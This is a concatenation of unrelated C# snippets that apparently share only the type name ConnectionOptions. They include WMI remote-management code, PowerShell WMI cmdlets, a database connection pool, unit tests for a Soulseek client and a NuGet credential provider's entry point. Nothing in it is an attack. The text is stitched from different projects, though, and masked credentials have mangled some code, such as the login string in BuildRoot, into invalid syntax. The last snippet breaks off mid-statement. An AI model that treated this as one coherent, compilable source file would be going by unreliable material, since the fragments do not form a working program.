internal SelfossApi(ConnectionOptions opts, IHttpGateway http) : base(opts, http) { this.Items = new ItemsApi(opts, http); this.Tags = new TagsApi(opts, http); this.Sources = new SourcesApi(opts, http); }
private void InitializeUrl(ConnectionOptions selfossOptions, string url) { Uri uri = new Uri(url); selfossOptions.Scheme = uri.Scheme; selfossOptions.Host = uri.Host; selfossOptions.Base = uri.AbsolutePath; }
/// <summary> /// Parse the connection string and fill the ConnectionsOptions object with /// the obtained information. /// </summary> /// <param name="connectionString">the connection string to parse</param> /// <param name="connectionOptions">the ConnectionOptions object to fill</param> internal void Parse (string connectionString, ConnectionOptions connectionOptions) { if (connectionString == null) throw new ArgumentException ("Null connection string argument."); StringBuilder secureConnectionString = new StringBuilder (); source = connectionString; currentPosition = 0; for (;;) { int start = currentPosition; string name = GetName (); if (name == null) break; string value = GetValue (); if (value == null) break; ConnectionOptions.Option option = connectionOptions.GetOption (name); if (option == null) throw new ArgumentException ("Unknown keyword in the connection string."); option.Set (value); if (!ConnectionOptions.IsSecuritySensitive (name)) secureConnectionString.Append (source, start, currentPosition - start); } connectionOptions.ConnectionString = connectionString; connectionOptions.SecureConnectionString = secureConnectionString.ToString (); }
public static void Add(ConnectionOptions connectionOptions) { if (ConnectionOptions.ContainsKey(connectionOptions.Name)) ConnectionOptions.Remove(connectionOptions.Name); ConnectionOptions.Add(connectionOptions.Name, connectionOptions); }
public async Task initConnection() { var timeOut = new TimeSpan(0, 5, 0); ConnectionOptions options = new ConnectionOptions(); options.Authority = "NTLMDOMAIN:" + remoteDomain.Trim(); options.Username = remoteUser.Trim(); options.Password = remotePass.Trim(); options.Impersonation = ImpersonationLevel.Impersonate; options.Timeout = timeOut; scope = new ManagementScope("\\\\" + remoteComputerName.Trim() + connectionNamespace, options); scope.Options.EnablePrivileges = true; scope2 = new ManagementScope("\\\\" + remoteComputerName.Trim() + "\\root\\default", options); scope2.Options.EnablePrivileges = true; try { await Task.Run(() => { scope.Connect(); }); } catch (Exception) { await Task.Run(() => { scope.Connect(); }); } }
public static ManagementScope ConnectionScope(string machineName, ConnectionOptions options, string path) { ManagementScope connectScope = new ManagementScope(); connectScope.Path = new ManagementPath(@"\\" + machineName + path); connectScope.Options = options; connectScope.Connect(); return connectScope; }
public static ConnectionOptions ProcessConnectionOptions() { ConnectionOptions options = new ConnectionOptions(); options.Impersonation = ImpersonationLevel.Impersonate; options.Authentication = AuthenticationLevel.Default; options.EnablePrivileges = true; return options; }
private void UpdateOptions(ConnectionOptions opts, ConnectionOptions app) { opts.Scheme = app.Scheme; opts.Host = app.Host; opts.Base = app.Base; opts.Port = app.Port; opts.Username = app.Username; opts.Password = app.Password; }
protected UriBuilder BuildRoot(ConnectionOptions options, string query = null) { var url = new UriBuilder(options.Scheme, options.Host, options.Port); string login = "******" + Options.Username + "&" + "password="******"&" + query; } url.Query = login; return url; }
private ConnectionPool (ConnectionOptions options) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "ConnectionPool.ctor ()"); minSize = options.MinPoolSize; maxSize = options.MaxPoolSize; lifetime = options.ConnectionLifetime; expirationTimer = new Timer (new TimerCallback (ExpireConnections), null, 1000, 1000); if (options.Enlist) dtcPool = new ResourcePool (new ResourcePool.TransactionEndDelegate (this.DistributedTransactionEnd)); }
private void InitializeConnection(ConnectionOptions conn) { if (!String.IsNullOrEmpty(conn.Scheme) && !String.IsNullOrEmpty(conn.Host) && !String.IsNullOrEmpty(conn.Base)) { var bld = new UriBuilder(conn.Scheme, conn.Host); bld.Path = conn.Base; this.Url = bld.Uri.ToString(); } this.Port = conn.Port; this.Username = conn.Username; this.Password = conn.Password; }
public static Future<Session> AsyncLogin( string username, string password, string resource, bool enableNonSASLAuth, ConnectionOptions options ) { var f = new Future<Session>(); Session.BeginLogin( username, password, resource, enableNonSASLAuth, options, (_) => { try { f.Complete(Session.EndLogin(_)); } catch (Exception ex) { f.Fail(ex); } }, null ); return f; }
internal static ConnectionPool GetPool (ConnectionOptions options) { string connectionString = options.ConnectionString; Debug.WriteLineIf (CLI.FnTrace.Enabled, "ConnectionPool.GetPool (" + connectionString + ")"); lock (typeof (ConnectionPool)) { if (poolMap == null) poolMap = new Hashtable (101); ConnectionPool pool = (ConnectionPool) poolMap[connectionString]; if (pool == null) { pool = new ConnectionPool (options); poolMap[connectionString] = pool; } return pool; } }
public void Method() { ConnectionOptions options1 = new ConnectionOptions { Username = this.UserName, Password = this.UserPassword, Authority = this.Authority }; ConnectionOptions options2 = new ConnectionOptions { Username = UserName, Password = this.UserPassword, Authority = this.Authority }; ConnectionOptions options3 = new ConnectionOptions { Username = this.UserName, Password = UserPassword, Authority = this.Authority }; ConnectionOptions options4 = new ConnectionOptions { Username = this.UserName, Password = this.UserPassword, Authority = Authority }; ConnectionOptions options5 = new ConnectionOptions { Username = this.UserName, Password = "******" + UserPassword, Authority = this.Authority }; }
internal IInnerConnection GetConnection (ConnectionOptions options, VirtuosoConnection connection) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "ConnectionPool.GetConnection ()"); IInnerConnection innerConnection = null; if (options.Enlist && ContextUtil.IsInTransaction) { innerConnection = (IInnerConnection) dtcPool.GetResource (); if (innerConnection != null) { innerConnection.OuterConnectionWeakRef = new WeakReference (connection); return innerConnection; } } lock (this) { if (pool == null) { pool = new IInnerConnection[maxSize]; for (int i = 0; i < minSize; i++) { innerConnection = connection.CreateInnerConnection (options, false); innerConnection.TimeStamp = DateTime.Now; PutConnection (innerConnection); } } if (size > 0) innerConnection = pool[--size]; } if (innerConnection == null) { innerConnection = connection.CreateInnerConnection (options, true); innerConnection.TimeStamp = DateTime.Now; } else { innerConnection.OuterConnectionWeakRef = new WeakReference (connection); #if MTS if (options.Enlist && ContextUtil.IsInTransaction) connection.EnlistInnerConnection (innerConnection); #endif } return innerConnection; }
private void Connect (ConnectionOptions options) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "OdbcConnection.Connect ()"); string connectionString = GetOdbcString (options); CLI.ReturnCode rc = (CLI.ReturnCode) CLI.SQLAllocHandle ( (short) CLI.HandleType.SQL_HANDLE_DBC, henv, out hdbc); if (rc != CLI.ReturnCode.SQL_SUCCESS) Diagnostics.HandleResult (rc, CLI.HandleType.SQL_HANDLE_ENV, henv, OuterConnection); #if false IntPtr hwnd = Platform.GetDesktopWindow (); #else IntPtr hwnd = Platform.GetForegroundWindow (); #endif #if WIDE_CHAR_CONNECT && !WIN32_ONLY MemoryHandle inBuffer = null; #endif MemoryHandle outBuffer = null; try { short length; int bufferSize = (CLI.SQL_MAX_CONNECTION_STRING_LEN + 1) * Platform.WideCharSize; outBuffer = new MemoryHandle (bufferSize); #if WIDE_CHAR_CONNECT && !WIN32_ONLY inBuffer = new MemoryHandle (bufferSize); Platform.StringToWideChars (connectionString, inBuffer, bufferSize); rc = (CLI.ReturnCode) CLI.SQLDriverConnect ( hdbc, hwnd, inBuffer, (short) CLI.LengthCode.SQL_NTS, outBuffer.Handle, (short) outBuffer.Length, out length, (short) CLI.DriverCompletion.SQL_DRIVER_COMPLETE); #else rc = (CLI.ReturnCode) CLI.SQLDriverConnect ( hdbc, hwnd, connectionString, (short) CLI.LengthCode.SQL_NTS, outBuffer.Handle, (short) outBuffer.Length, out length, (short) CLI.DriverCompletion.SQL_DRIVER_COMPLETE); #endif if (rc != CLI.ReturnCode.SQL_SUCCESS) { if (rc == CLI.ReturnCode.SQL_NO_DATA) throw new InvalidOperationException ("The connection was canceled by the user."); HandleConnectionErrors (rc); } #if WIDE_CHAR_CONNECT connectionString = Platform.WideCharsToString (outBuffer.Handle, length); #else connectionString = Marshal.PtrToStringAnsi (outBuffer.Handle, length); #endif } catch (Exception) { CLI.SQLFreeHandle ((short) CLI.HandleType.SQL_HANDLE_DBC, hdbc); hdbc = IntPtr.Zero; throw; } finally { #if WIDE_CHAR_CONNECT && !WIN32_ONLY if (inBuffer != null) inBuffer.Dispose (); #endif if (outBuffer != null) outBuffer.Dispose (); } try { rc = (CLI.ReturnCode) CLI.SQLSetConnectAttr ( hdbc, (int) CLI.ConnectionAttribute.SQL_ATTR_CONNECTION_TIMEOUT, (IntPtr) options.ConnectionTimeout, (int) CLI.LengthCode.SQL_IS_INTEGER); if (rc != CLI.ReturnCode.SQL_SUCCESS) HandleConnectionErrors (rc); } catch (Exception) { Disconnect (); throw; } GC.KeepAlive (this); }
public void Instantiates_Server_Connection_With_Given_IP(IPAddress ipAddress, int port, ConnectionOptions options) { using (var c = new MessageConnection(ipAddress, port, options)) { Assert.Equal(ipAddress, c.IPAddress); Assert.Equal(port, c.Port); Assert.Equal(options, c.Options); Assert.Equal(new ConnectionKey(string.Empty, ipAddress, port), c.Key); } }
/// <summary> /// Remove an object given either path,class name or pipeline input. /// </summary> protected override void ProcessRecord() { if (this.AsJob) { RunAsJob("Remove-WMIObject"); return; } if (_inputObject != null) { try { if (!ShouldProcess(_inputObject["__PATH"].ToString())) { return; } _inputObject.Delete(); } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord(e, "RemoveWMIManagementException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord(e, "RemoveWMICOMException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } return; } else { ConnectionOptions options = GetConnectionOption(); ManagementPath mPath = null; ManagementObject mObject = null; if (_path != null) { mPath = new ManagementPath(_path); if (String.IsNullOrEmpty(mPath.NamespacePath)) { mPath.NamespacePath = this.Namespace; } else if (namespaceSpecified) { //ThrowTerminatingError ThrowTerminatingError(new ErrorRecord( new InvalidOperationException(), "NamespaceSpecifiedWithPath", ErrorCategory.InvalidOperation, this.Namespace)); } if (mPath.Server != "." && serverNameSpecified) { //ThrowTerminatingError ThrowTerminatingError(new ErrorRecord( new InvalidOperationException(), "ComputerNameSpecifiedWithPath", ErrorCategory.InvalidOperation, this.ComputerName)); } if (!(mPath.Server == "." && serverNameSpecified)) { string[] serverName = new string[] { mPath.Server }; ComputerName = serverName; } } foreach (string name in ComputerName) { try { if (_path != null) { mPath.Server = name; if (mPath.IsClass) { ManagementClass mClass = new ManagementClass(mPath); mObject = mClass; } else { ManagementObject mInstance = new ManagementObject(mPath); mObject = mInstance; } ManagementScope mScope = new ManagementScope(mPath, options); mObject.Scope = mScope; } else { ManagementScope scope = new ManagementScope(WMIHelper.GetScopeString(name, this.Namespace), options); ManagementClass mClass = new ManagementClass(_className); mObject = mClass; mObject.Scope = scope; } if (!ShouldProcess(mObject["__PATH"].ToString())) { continue; } mObject.Delete(); } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord(e, "RemoveWMIManagementException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord(e, "RemoveWMICOMException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } } } }
public void Instantiation( bool enableListener, bool enableDistributedNetwork, bool acceptDistributedChildren, int distributedChildLimit, bool deduplicateSearchRequests, int messageTimeout, bool autoAcknowledgePrivateMessages, bool autoAcknowledgePrivilegeNotifications, bool acceptPrivateRoomInvitations, DiagnosticLevel minimumDiagnosticLevel, int startingToken) { var serverConnectionOptions = new ConnectionOptions(); var peerConnectionOptions = new ConnectionOptions(); var transferConnectionOptions = new ConnectionOptions(); var incomingConnectionOptions = new ConnectionOptions(); var distributedConnectionOptions = new ConnectionOptions(); var rnd = new Random(); var listenPort = rnd.Next(1024, 65535); var o = new SoulseekClientOptions( enableListener, listenPort, userEndPointCache: null, enableDistributedNetwork: enableDistributedNetwork, acceptDistributedChildren: acceptDistributedChildren, distributedChildLimit: distributedChildLimit, deduplicateSearchRequests: deduplicateSearchRequests, messageTimeout: messageTimeout, autoAcknowledgePrivateMessages: autoAcknowledgePrivateMessages, autoAcknowledgePrivilegeNotifications: autoAcknowledgePrivilegeNotifications, acceptPrivateRoomInvitations: acceptPrivateRoomInvitations, minimumDiagnosticLevel: minimumDiagnosticLevel, startingToken: startingToken, serverConnectionOptions: serverConnectionOptions, peerConnectionOptions: peerConnectionOptions, transferConnectionOptions: transferConnectionOptions, incomingConnectionOptions: incomingConnectionOptions, distributedConnectionOptions: distributedConnectionOptions); Assert.Equal(enableListener, o.EnableListener); Assert.Equal(listenPort, o.ListenPort); Assert.Null(o.UserEndPointCache); Assert.Equal(enableDistributedNetwork, o.EnableDistributedNetwork); Assert.Equal(acceptDistributedChildren, o.AcceptDistributedChildren); Assert.Equal(distributedChildLimit, o.DistributedChildLimit); Assert.Equal(deduplicateSearchRequests, o.DeduplicateSearchRequests); Assert.Equal(messageTimeout, o.MessageTimeout); Assert.Equal(autoAcknowledgePrivateMessages, o.AutoAcknowledgePrivateMessages); Assert.Equal(autoAcknowledgePrivilegeNotifications, o.AutoAcknowledgePrivilegeNotifications); Assert.Equal(acceptPrivateRoomInvitations, o.AcceptPrivateRoomInvitations); Assert.Equal(minimumDiagnosticLevel, o.MinimumDiagnosticLevel); Assert.Equal(startingToken, o.StartingToken); Assert.Equal(peerConnectionOptions, o.PeerConnectionOptions); Assert.Equal(incomingConnectionOptions, o.IncomingConnectionOptions); Assert.Equal(distributedConnectionOptions, o.DistributedConnectionOptions); Assert.Equal(serverConnectionOptions.ReadBufferSize, o.ServerConnectionOptions.ReadBufferSize); Assert.Equal(serverConnectionOptions.WriteBufferSize, o.ServerConnectionOptions.WriteBufferSize); Assert.Equal(serverConnectionOptions.ConnectTimeout, o.ServerConnectionOptions.ConnectTimeout); Assert.Equal(-1, o.ServerConnectionOptions.InactivityTimeout); Assert.Equal(transferConnectionOptions.ReadBufferSize, o.TransferConnectionOptions.ReadBufferSize); Assert.Equal(transferConnectionOptions.WriteBufferSize, o.TransferConnectionOptions.WriteBufferSize); Assert.Equal(transferConnectionOptions.ConnectTimeout, o.TransferConnectionOptions.ConnectTimeout); Assert.Equal(-1, o.TransferConnectionOptions.InactivityTimeout); Assert.Null(o.UserEndPointCache); Assert.Null(o.SearchResponseCache); }
public ServiceLayer(IConverter converter, ConnectionOptions options) { dataAccessLayer = new DataAccessLayer.DataAccessLayer(converter, options); }
public void Execute(IJobExecutionContext context) { List <StoreModel> storeList = new List <StoreModel>(); storeList = this._IStoreServerService.GetStoresDetails(); List <StoreServerModel> storeServerList = new List <StoreServerModel>(); List <StoreServerModel> storeServerStatusList = new List <StoreServerModel>(); List <ServerServiceStatus> windowsServiceList = new List <ServerServiceStatus>(); List <ServerServiceStatus> windowsServiceRunList = new List <ServerServiceStatus>(); storeServerList = this._IStoreServerService.GetStoresServerDetails(); windowsServiceList = this._IStoreServerService.GetWindowsServiceDetails(); StoreServerModel storeServerDetails = new StoreServerModel(); storeServerDetails.UserId = 1; Int64 batchId = this._IStoreServerService.GenerateServerServiceStatusBatch(storeServerDetails); Int64 windowsBatchId = this._IStoreServerService.GenerateWindowsServiceStatusBatch(storeServerDetails); foreach (var item in storeServerList) { StoreServerModel storeServerStatus = new StoreServerModel(); storeServerStatus = item; storeServerStatus.ServerStatusBatchId = batchId; try { Ping myPing = new Ping(); PingReply reply = myPing.Send(item.ISSIpAddress, 1000); if (reply != null) { if (reply.Status == IPStatus.Success) { storeServerStatus.IsServerActive = true; storeServerStatus.ServerResponseTime = Convert.ToInt32(reply.RoundtripTime); } else { storeServerStatus.IsServerActive = false; } } } catch (Exception) { storeServerStatus.IsServerActive = false; } List <ServerServiceStatus> windowsServiceCurrentRunList = new List <ServerServiceStatus>(); windowsServiceCurrentRunList = windowsServiceList.Where( w => w.StoreNo == item.StoreNo ).ToList(); if (storeServerStatus.IsServerActive == true && windowsServiceCurrentRunList != null && windowsServiceCurrentRunList.Count > 0 ) { try { ConnectionOptions op = new ConnectionOptions(); op.Username = "******"; op.Password = "******"; ManagementScope scope = new ManagementScope(@"\\" + item.ISSIpAddress + @"\root\cimv2", null); scope.Connect(); ManagementPath path = new ManagementPath("Win32_Service"); ManagementClass services; services = new ManagementClass(scope, path, null); ManagementObjectCollection moc = services.GetInstances(); ManagementObject[] deviceArray = new ManagementObject[moc.Count]; moc.CopyTo(deviceArray, 0); windowsServiceCurrentRunList.ForEach(x => { ServerServiceStatus serverServiceStatus = new ServerServiceStatus(); serverServiceStatus = x; var vvv = deviceArray.Where(w => w.GetPropertyValue("Name").ToString() == x.ServiceName); if (vvv.Any(a => a.GetPropertyValue("State").ToString().ToLower().Equals("running")) ) { serverServiceStatus.IsServiceActive = true; } else { serverServiceStatus.IsServiceActive = false; } } ); windowsServiceRunList.AddRange(windowsServiceCurrentRunList); } catch (Exception ex) { throw; } } lock (storeServerStatusList) { storeServerStatusList.Add(storeServerStatus); } } //_heartbeat.UpdateServiceState("alive"); var isUpdateSuccess = this._IStoreServerService.UpdateServerServiceStatusBatch(storeServerStatusList); }
/*internal void GetManagementScope(string wmiNamespace) * { * this.LogTaskMessage(MessageImportance.Low, string.Format(CultureInfo.CurrentCulture, "ManagementScope Set: {0}", "\\\\" + this.MachineName + wmiNamespace)); * if (string.Compare(this.MachineName, Environment.MachineName, StringComparison.OrdinalIgnoreCase) == 0) * { * this.Scope = new ManagementScope("\\\\" + this.MachineName + wmiNamespace); * } * else * { * ConnectionOptions options = new ConnectionOptions * { * Authentication = this.authenticationLevel, * Username = this.UserName, * Password = this.UserPassword, * Authority = this.Authority * }; * this.Scope = new ManagementScope("\\\\" + this.MachineName + wmiNamespace, options); * } * }*/ internal void GetManagementScope(string wmiNamespace, ConnectionOptions options) { this.LogTaskMessage(MessageImportance.Low, string.Format(CultureInfo.CurrentCulture, "ManagementScope Set: {0}", "\\\\" + this.MachineName + wmiNamespace)); this.Scope = new ManagementScope("\\\\" + this.MachineName + wmiNamespace, options); }
/// <summary> /// Create or modify WMI Instance given either path,class name or pipeline input. /// </summary> protected override void ProcessRecord() { if (this.AsJob) { RunAsJob("Set-WMIInstance"); return; } if (InputObject != null) { object result = null; ManagementObject mObj = null; try { PutOptions pOptions = new PutOptions(); mObj = SetWmiInstanceGetPipelineObject(); pOptions.Type = _putType; if (mObj != null) { if (!ShouldProcess(mObj.Path.Path.ToString())) { return; } mObj.Put(pOptions); } else { InvalidOperationException exp = new InvalidOperationException(); throw exp; } result = mObj; } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord(e, "SetWMIManagementException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord(e, "SetWMICOMException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } WriteObject(result); } else { ManagementPath mPath = null; // If Class is specified only CreateOnly flag is supported mPath = this.SetWmiInstanceBuildManagementPath(); // If server name is specified loop through it. if (mPath != null) { if (!(mPath.Server == "." && serverNameSpecified)) { string[] serverName = new string[] { mPath.Server }; ComputerName = serverName; } } ConnectionOptions options = GetConnectionOption(); object result = null; ManagementObject mObject = null; foreach (string name in ComputerName) { result = null; try { mObject = this.SetWmiInstanceGetObject(mPath, name); PutOptions pOptions = new PutOptions(); pOptions.Type = _putType; if (mObject != null) { if (!ShouldProcess(mObject.Path.Path.ToString())) { continue; } mObject.Put(pOptions); } else { InvalidOperationException exp = new InvalidOperationException(); throw exp; } result = mObject; } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord(e, "SetWMIManagementException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord(e, "SetWMICOMException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); } if (result != null) { WriteObject(result); } } } }
public static async Task <int> Main(string[] args) { CancellationTokenSource tokenSource = new CancellationTokenSource(); var parsedArgs = await Args.ParseAsync <CredentialProviderArgs>(args); var multiLogger = new MultiLogger(); var fileLogger = GetFileLogger(); if (fileLogger != null) { multiLogger.Add(fileLogger); } // Cancellation listener Console.CancelKeyPress += (object sender, ConsoleCancelEventArgs eventArgs) => { // ConsoleCancelEventArgs.Cancel defaults to false which terminates the current process. multiLogger.Verbose(Resources.CancelMessage); tokenSource.Cancel(); }; var authUtil = new AuthUtil(multiLogger); var adalTokenCache = AdalTokenCacheUtils.GetAdalTokenCache(multiLogger); var adalTokenProviderFactory = new VstsAdalTokenProviderFactory(adalTokenCache); var bearerTokenProvidersFactory = new BearerTokenProvidersFactory(multiLogger, adalTokenProviderFactory); var vstsSessionTokenProvider = new VstsSessionTokenFromBearerTokenProvider(authUtil, multiLogger); List <ICredentialProvider> credentialProviders = new List <ICredentialProvider> { new VstsBuildTaskServiceEndpointCredentialProvider(multiLogger), new VstsBuildTaskCredentialProvider(multiLogger), new VstsCredentialProvider(multiLogger, authUtil, bearerTokenProvidersFactory, vstsSessionTokenProvider), }; try { IRequestHandlers requestHandlers = new RequestHandlerCollection { { MessageMethod.GetAuthenticationCredentials, new GetAuthenticationCredentialsRequestHandler(multiLogger, credentialProviders) }, { MessageMethod.GetOperationClaims, new GetOperationClaimsRequestHandler(multiLogger, credentialProviders) }, { MessageMethod.Initialize, new InitializeRequestHandler(multiLogger) }, { MessageMethod.SetLogLevel, new SetLogLevelRequestHandler(multiLogger) }, { MessageMethod.SetCredentials, new SetCredentialsRequestHandler(multiLogger) }, }; // Help if (parsedArgs.Help) { Console.WriteLine(string.Format(Resources.CommandLineArgs, Program.Version, Environment.CommandLine)); Console.WriteLine(ArgUsage.GenerateUsageFromTemplate <CredentialProviderArgs>()); Console.WriteLine( string.Format( Resources.EnvironmentVariableHelp, EnvUtil.LogPathEnvVar, EnvUtil.SessionTokenCacheEnvVar, EnvUtil.AuthorityEnvVar, EnvUtil.AdalFileCacheEnvVar, EnvUtil.PpeHostsEnvVar, EnvUtil.SupportedHostsEnvVar, EnvUtil.SessionTimeEnvVar, EnvUtil.TokenTypeEnvVar, EnvUtil.BuildTaskUriPrefixes, EnvUtil.BuildTaskAccessToken, EnvUtil.BuildTaskExternalEndpoints, EnvUtil.AdalTokenCacheLocation, EnvUtil.SessionTokenCacheLocation, EnvUtil.WindowsIntegratedAuthenticationEnvVar, EnvUtil.DeviceFlowTimeoutEnvVar )); return(0); } // Plug-in mode if (parsedArgs.Plugin) { using (IPlugin plugin = await PluginFactory.CreateFromCurrentProcessAsync(requestHandlers, ConnectionOptions.CreateDefault(), tokenSource.Token).ConfigureAwait(continueOnCapturedContext: false)) { multiLogger.Add(new PluginConnectionLogger(plugin.Connection)); multiLogger.Verbose(Resources.RunningInPlugin); multiLogger.Verbose(string.Format(Resources.CommandLineArgs, Program.Version, Environment.CommandLine)); await RunNuGetPluginsAsync(plugin, multiLogger, TimeSpan.FromMinutes(2), tokenSource.Token).ConfigureAwait(continueOnCapturedContext: false); } return(0); } // Stand-alone mode if (requestHandlers.TryGet(MessageMethod.GetAuthenticationCredentials, out IRequestHandler requestHandler) && requestHandler is GetAuthenticationCredentialsRequestHandler getAuthenticationCredentialsRequestHandler) { // Don't use ConsoleLogger in JSON output mode, since emitting other messages as well as the loglevel prefix would corrupt the pure JSON output if (parsedArgs.OutputFormat == OutputFormat.HumanReadable) { multiLogger.Add(new ConsoleLogger()); } multiLogger.SetLogLevel(parsedArgs.Verbosity); multiLogger.Verbose(Resources.RunningInStandAlone); multiLogger.Verbose(string.Format(Resources.CommandLineArgs, Program.Version, Environment.CommandLine)); if (parsedArgs.Uri == null) { Console.WriteLine(ArgUsage.GenerateUsageFromTemplate <CredentialProviderArgs>()); return(1); } GetAuthenticationCredentialsRequest request = new GetAuthenticationCredentialsRequest(parsedArgs.Uri, isRetry: parsedArgs.IsRetry, isNonInteractive: parsedArgs.NonInteractive, parsedArgs.CanShowDialog); GetAuthenticationCredentialsResponse response = await getAuthenticationCredentialsRequestHandler.HandleRequestAsync(request).ConfigureAwait(continueOnCapturedContext: false); string resultUsername = response?.Username; string resultPassword = parsedArgs.RedactPassword ? Resources.Redacted : response?.Password; if (parsedArgs.OutputFormat == OutputFormat.Json) { // Manually write the JSON output, since we don't use ConsoleLogger in JSON mode (see above) Console.WriteLine(JsonConvert.SerializeObject(new CredentialResult(resultUsername, resultPassword))); } else { multiLogger.Info($"{Resources.Username}: {resultUsername}"); multiLogger.Info($"{Resources.Password}: {resultPassword}"); } return(0); } return(-1); } finally { foreach (ICredentialProvider credentialProvider in credentialProviders) { credentialProvider.Dispose(); } } }
public void Instantiates_Peer_Connection_With_Given_IP_And_Username(string username, IPAddress ipAddress, int port, ConnectionOptions options) { using (var c = new MessageConnection(username, ipAddress, port, options)) { Assert.Equal(username, c.Username); Assert.Equal(ipAddress, c.IPAddress); Assert.Equal(port, c.Port); Assert.Equal(options, c.Options); Assert.Equal(new ConnectionKey(username, ipAddress, port), c.Key); } }
/// <summary> /// Get the List of HotFixes installed on the Local Machine. /// </summary> protected override void BeginProcessing() { foreach (string computer in ComputerName) { bool foundRecord = false; StringBuilder QueryString = new StringBuilder(); ConnectionOptions conOptions = ComputerWMIHelper.GetConnectionOptions(AuthenticationLevel.Packet, ImpersonationLevel.Impersonate, this.Credential); ManagementScope scope = new ManagementScope(ComputerWMIHelper.GetScopeString(computer, ComputerWMIHelper.WMI_Path_CIM), conOptions); scope.Connect(); if (Id != null) { QueryString.Append("Select * from Win32_QuickFixEngineering where ("); for (int i = 0; i <= Id.Length - 1; i++) { QueryString.Append("HotFixID= '"); QueryString.Append(Id[i].ToString().Replace("'", "\\'")); QueryString.Append("'"); if (i < Id.Length - 1) { QueryString.Append(" Or "); } } QueryString.Append(")"); } else { QueryString.Append("Select * from Win32_QuickFixEngineering"); foundRecord = true; } _searchProcess = new ManagementObjectSearcher(scope, new ObjectQuery(QueryString.ToString())); foreach (ManagementObject obj in _searchProcess.Get()) { if (Description != null) { if (!FilterMatch(obj)) { continue; } } else { _inputContainsWildcard = true; } // try to translate the SID to a more friendly username // just stick with the SID if anything goes wrong string installed = (string)obj["InstalledBy"]; if (!String.IsNullOrEmpty(installed)) { try { SecurityIdentifier secObj = new SecurityIdentifier(installed); obj["InstalledBy"] = secObj.Translate(typeof(NTAccount));; } catch (IdentityNotMappedException) // thrown by SecurityIdentifier.Translate { } catch (SystemException e) // thrown by SecurityIdentifier.constr { CommandsCommon.CheckForSevereException(this, e); } //catch (ArgumentException) // thrown (indirectly) by SecurityIdentifier.constr (on XP only?) //{ catch not needed - this is already caught as SystemException //} //catch (PlatformNotSupportedException) // thrown (indirectly) by SecurityIdentifier.Translate (on Win95 only?) //{ catch not needed - this is already caught as SystemException //} //catch (UnauthorizedAccessException) // thrown (indirectly) by SecurityIdentifier.Translate //{ catch not needed - this is already caught as SystemException //} } WriteObject(obj); foundRecord = true; } if (!foundRecord && !_inputContainsWildcard) { Exception Ex = new ArgumentException(StringUtil.Format(HotFixResources.NoEntriesFound, computer)); WriteError(new ErrorRecord(Ex, "GetHotFixNoEntriesFound", ErrorCategory.ObjectNotFound, null)); } if (_searchProcess != null) { this.Dispose(); } } }//end of BeginProcessing method
/// <summary> /// 初始化一个新的<c>SelfConnectionConfig</c>实例 /// </summary> /// <param name="connectionOptions">数据源连接选项</param> /// <param name="providerName">数据库连接程序的提供者</param> public SelfConnectionConfig(ConnectionOptions connectionOptions, string providerName) { this.ConnectionString = connectionOptions.ToString(); this.ProviderName = providerName; }
public void TestParseConnection(string connection, ConnectionOptions expectedConnectionOptions) { var connectionOptions = HttpHeaders.ParseConnection(connection); Assert.Equal(expectedConnectionOptions, connectionOptions); }
internal BaseApi(ConnectionOptions opts, IHttpGateway http) { this.Options = opts; this.Http = http; }
public MonitoringItemRepository(string assembly, ConnectionOptions connectionOptions, ILoggerFactory loggerFactory, DiagnosticSource diagnosticSource) : base(assembly, connectionOptions, loggerFactory, diagnosticSource) { }
public InvoiceService(HttpClient httpClient, IOptions <AppSettings> settings, ConnectionOptions connectionOptions) { _httpClient = httpClient; _remoteServiceBaseUrl = connectionOptions.apiDevelop + "/api/invoice"; }
static void Main(string[] args) { try { String host, user, password = ""; //INPUT //Hostname Console.WriteLine("Bitte Hostname eingeben:"); host = Console.ReadLine(); //Username Console.WriteLine("Bitte Benutzer eingeben:"); user = Console.ReadLine(); //Password Console.WriteLine("Bitte Passwort eingeben:"); ConsoleKeyInfo info = Console.ReadKey(true); while (info.Key != ConsoleKey.Enter) { if (info.Key != ConsoleKey.Backspace) { password += info.KeyChar; info = Console.ReadKey(true); } else if (info.Key == ConsoleKey.Backspace) { if (!string.IsNullOrEmpty(password)) { password = password.Substring (0, password.Length - 1); } info = Console.ReadKey(true); } } Console.WriteLine(); //Connect via WMI ConnectionOptions options = new ConnectionOptions(); options.Username = user; options.Password = password; //options.Authority = "ntdlmdomain:bpade.local"; //options.Authentication = AuthenticationLevel.PacketPrivacy; ManagementScope scope; //Localhost don't need credentials if (host.Equals("localhost", StringComparison.InvariantCultureIgnoreCase) || host.Equals(Dns.GetHostName(), StringComparison.InvariantCultureIgnoreCase)) { scope = new ManagementScope("\\\\" + host + "\\root\\cimv2"); } else { scope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options); } scope.Connect(); ObjectQuery query = new ObjectQuery( "SELECT * FROM Win32_OperatingSystem"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); ManagementObjectCollection queryCollection = searcher.Get(); foreach (ManagementObject m in queryCollection) { // Display the remote computer information Console.WriteLine("Computer Name : {0}", m["csname"]); Console.WriteLine("Windows Directory : {0}", m["WindowsDirectory"]); Console.WriteLine("Operating System: {0}", m["Caption"]); Console.WriteLine("Version: {0}", m["Version"]); Console.WriteLine("Manufacturer : {0}", m["Manufacturer"]); Console.WriteLine("SerialNumber : {0}", m["SerialNumber"]); Console.WriteLine("OSType : {0}", m["OSType"]); } } catch (Exception e) { Console.Write(e.Message); } string x = 